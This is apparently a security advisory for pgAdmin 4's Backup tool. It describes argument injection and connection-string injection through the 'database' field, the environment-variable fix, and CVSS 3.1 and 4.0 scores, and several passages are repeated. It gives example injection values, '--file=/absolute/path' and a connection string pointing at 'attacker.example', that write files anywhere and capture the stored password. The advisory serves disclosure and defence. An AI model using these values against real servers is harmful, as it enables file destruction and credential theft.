pgAdmin 4's Backup tool appended the client-supplied 'database' field from the /backup/job/<sid>/object request to the pg_dump argument vector as a bare trailing positional argument, without validation. Because pg_dump parses its options with getopt_long, which permutes arguments, a value beginning with a dash was interpreted as an option rather than as a database name. A value such as --file=/absolute/path therefore overrode the storage-confined --file that pgAdmin had constructed earlier, causing pg_dump to write its output anywhere the pgAdmin process could write, outside the user's File Manager storage directory. This yields arbitrary file creation and overwrite as the operating-system account running pgAdmin, which can destroy pgAdmin's own configuration database and, depending on the target chosen, be escalated further.
The same field additionally permitted connection-string injection. libpq expands a database name containing an equals sign into a full connection string, and keywords embedded there override the --host and --port that pgAdmin passes, so a value such as 'host=attacker.example port=5432 dbname=x' redirected pg_dump to a server of the attacker's choosing. Because pgAdmin exports the decrypted stored database password in the PGPASSWORD environment variable before executing the utility, the redirected connection carries that credential to the attacker-nominated endpoint. Both behaviours are reachable by any authenticated user holding the tools_backup permission, which is granted to the default User role.
The fix stops passing the database name through the argument vector altogether and supplies it in the PGDATABASE environment variable, which libpq treats as a literal database name and never expands as a connection string. This matches the approach already used by the Import/Export tool. Regression tests assert that the database name is absent from the constructed argument vector and that PGDATABASE carries the exact requested value.
This issue affects pgAdmin 4: from the introduction of the trailing positional database argument in the Backup tool before 9.18.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CVSS Score: 8.8
Threat model: an authenticated pgAdmin user holding the tools_backup permission, which the default User role grants, and with a connected server. Submitting a crafted 'database' value is a single ordinary request requiring no victim interaction, so Attack Complexity is Low and User Interaction is None. Integrity and Availability are High because the attacker obtains arbitrary file creation and overwrite as the account running pgAdmin, which includes pgAdmin's own configuration database. Confidentiality is High because the connection-string variant delivers the decrypted stored database password to an endpoint the attacker selects; this is most significant where the password is supplied by a password execution command and is therefore never known to the user. Scope is Unchanged: the writes and the credential are performed with, and belong to, the authority pgAdmin already holds, and no direct code execution is demonstrated, which is why this is scored below an equivalent flaw yielding command execution outright.
| Attack Vector |
Network |
Scope |
Unchanged |
| Attack Complexity |
Low |
Confidentiality Impact |
High |
| Privileges Required |
Low |
Integrity Impact |
High |
| User Interaction |
None |
Availability Impact |
High |
Threat model: an authenticated pgAdmin user holding the tools_backup permission, which the default User role grants, and with a connected server. Submitting a crafted 'database' value is a single ordinary request requiring no victim interaction, so Attack Complexity is Low and User Interaction is None. Integrity and Availability are High because the attacker obtains arbitrary file creation and overwrite as the account running pgAdmin, which includes pgAdmin's own configuration database. Confidentiality is High because the connection-string variant delivers the decrypted stored database password to an endpoint the attacker selects; this is most significant where the password is supplied by a password execution command and is therefore never known to the user. Scope is Unchanged: the writes and the credential are performed with, and belong to, the authority pgAdmin already holds, and no direct code execution is demonstrated, which is why this is scored below an equivalent flaw yielding command execution outright.
CVSS 3.1
CVSS Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
CVSS Score: 8.7
Same reasoning as the CVSS 3.1 entry: a low-privilege authenticated user achieves arbitrary file write as the pgAdmin operating-system account and can redirect the utility connection to capture the stored database credential. VC:H/VI:H/VA:H reflect credential disclosure, arbitrary overwrite, and destruction of pgAdmin's own data. SC:N/SI:N/SA:N because the consequences remain within the authority pgAdmin already exercises.
| Exploitability Metrics |
Vulnerable System Impact Metrics |
Subsequent System Impact Metrics |
| Attack Vector |
Network |
Confidentiality |
High |
Confidentiality |
None |
| Attack Complexity |
Low |
Integrity |
High |
Integrity |
None |
| Attack Requirements |
None |
Availability |
High |
Availability |
None |
| Privileges Required |
Low |
| User Interaction |
None |
Same reasoning as the CVSS 3.1 entry: a low-privilege authenticated user achieves arbitrary file write as the pgAdmin operating-system account and can redirect the utility connection to capture the stored database credential. VC:H/VI:H/VA:H reflect credential disclosure, arbitrary overwrite, and destruction of pgAdmin's own data. SC:N/SI:N/SA:N because the consequences remain within the authority pgAdmin already exercises.
CVSS 4.0